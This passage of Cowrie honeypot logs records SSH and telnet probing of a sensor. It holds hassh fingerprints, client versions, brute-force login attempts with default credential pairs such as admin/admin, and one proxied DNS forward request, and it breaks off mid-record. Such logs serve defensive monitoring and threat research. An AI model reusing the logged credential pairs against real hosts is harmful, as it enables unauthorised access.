{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:06.221043Z","src_ip":"212.154.234.9","session":"e47ea582277a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin17","message":"login attempt [root/admin17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:06.951084Z","src_ip":"212.154.234.9","session":"e47ea582277a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:08.139844Z","src_ip":"212.154.234.9","session":"e47ea582277a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.11624765396118,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:14.443938Z","src_ip":"46.4.8.162","session":"91390ee9f30e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":36788,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e84cdf86225","protocol":"ssh","message":"New connection: 185.239.84.249:36788 (159.203.135.109:22) [session: 5e84cdf86225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:17.526768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:17.531192Z","src_ip":"185.239.84.249","session":"5e84cdf86225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:17.748268Z","src_ip":"185.239.84.249","session":"5e84cdf86225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qaz!@#","message":"login attempt [root/123Qaz!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:18.183277Z","src_ip":"185.239.84.249","session":"5e84cdf86225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:19.400439Z","src_ip":"185.239.84.249","session":"5e84cdf86225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49788,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c6aa0be03a","protocol":"ssh","message":"New connection: 159.203.92.129:49788 (159.203.135.109:22) [session: 19c6aa0be03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:19.957667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:19.964353Z","src_ip":"159.203.92.129","session":"19c6aa0be03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:19.969768Z","src_ip":"159.203.92.129","session":"19c6aa0be03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123321","message":"login attempt [admin/root123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:19.981068Z","src_ip":"159.203.92.129","session":"19c6aa0be03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:20.987279Z","src_ip":"159.203.92.129","session":"19c6aa0be03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7262,"dst_ip":"10.17.0.5","dst_port":22,"session":"642473e6644a","protocol":"ssh","message":"New connection: 87.251.64.176:7262 (10.17.0.5:22) [session: 642473e6644a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:31.605644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:31.611587Z","src_ip":"87.251.64.176","session":"642473e6644a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:31.709442Z","src_ip":"87.251.64.176","session":"642473e6644a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:32.000682Z","src_ip":"87.251.64.176","session":"642473e6644a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:32.100748Z","session":"642473e6644a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:32.198846Z","src_ip":"87.251.64.176","session":"642473e6644a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:32.298162Z","src_ip":"87.251.64.176","session":"642473e6644a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":9103,"dst_ip":"10.17.0.5","dst_port":22,"session":"487ffb2d6b73","protocol":"ssh","message":"New connection: 177.36.200.182:9103 (10.17.0.5:22) [session: 487ffb2d6b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:00.641091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:02.423357Z","src_ip":"177.36.200.182","session":"487ffb2d6b73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:02.575280Z","src_ip":"177.36.200.182","session":"487ffb2d6b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d94d924fa497","protocol":"ssh","message":"New connection: 159.203.92.129:57272 (159.203.135.109:22) [session: d94d924fa497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:05.081055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:05.101264Z","src_ip":"159.203.92.129","session":"d94d924fa497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:05.104876Z","src_ip":"159.203.92.129","session":"d94d924fa497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root1234","message":"login attempt [admin/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:05.145544Z","src_ip":"159.203.92.129","session":"d94d924fa497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:06.154483Z","src_ip":"159.203.92.129","session":"d94d924fa497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottoor","message":"login attempt [root/roottoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:07.301260Z","src_ip":"177.36.200.182","session":"487ffb2d6b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:08.774088Z","src_ip":"177.36.200.182","session":"487ffb2d6b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":58814,"dst_ip":"159.203.135.109","dst_port":22,"session":"bafd67345df6","protocol":"ssh","message":"New connection: 185.239.84.249:58814 (159.203.135.109:22) [session: bafd67345df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:18.306491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:18.311451Z","src_ip":"185.239.84.249","session":"bafd67345df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:18.524373Z","src_ip":"185.239.84.249","session":"bafd67345df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345","message":"login attempt [frappe/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:19.439702Z","src_ip":"185.239.84.249","session":"bafd67345df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:20.656184Z","src_ip":"185.239.84.249","session":"bafd67345df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38784,"dst_ip":"159.203.135.109","dst_port":22,"session":"48bbbc4517c1","protocol":"ssh","message":"New connection: 159.203.92.129:38784 (159.203.135.109:22) [session: 48bbbc4517c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:49.847331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:49.852354Z","src_ip":"159.203.92.129","session":"48bbbc4517c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc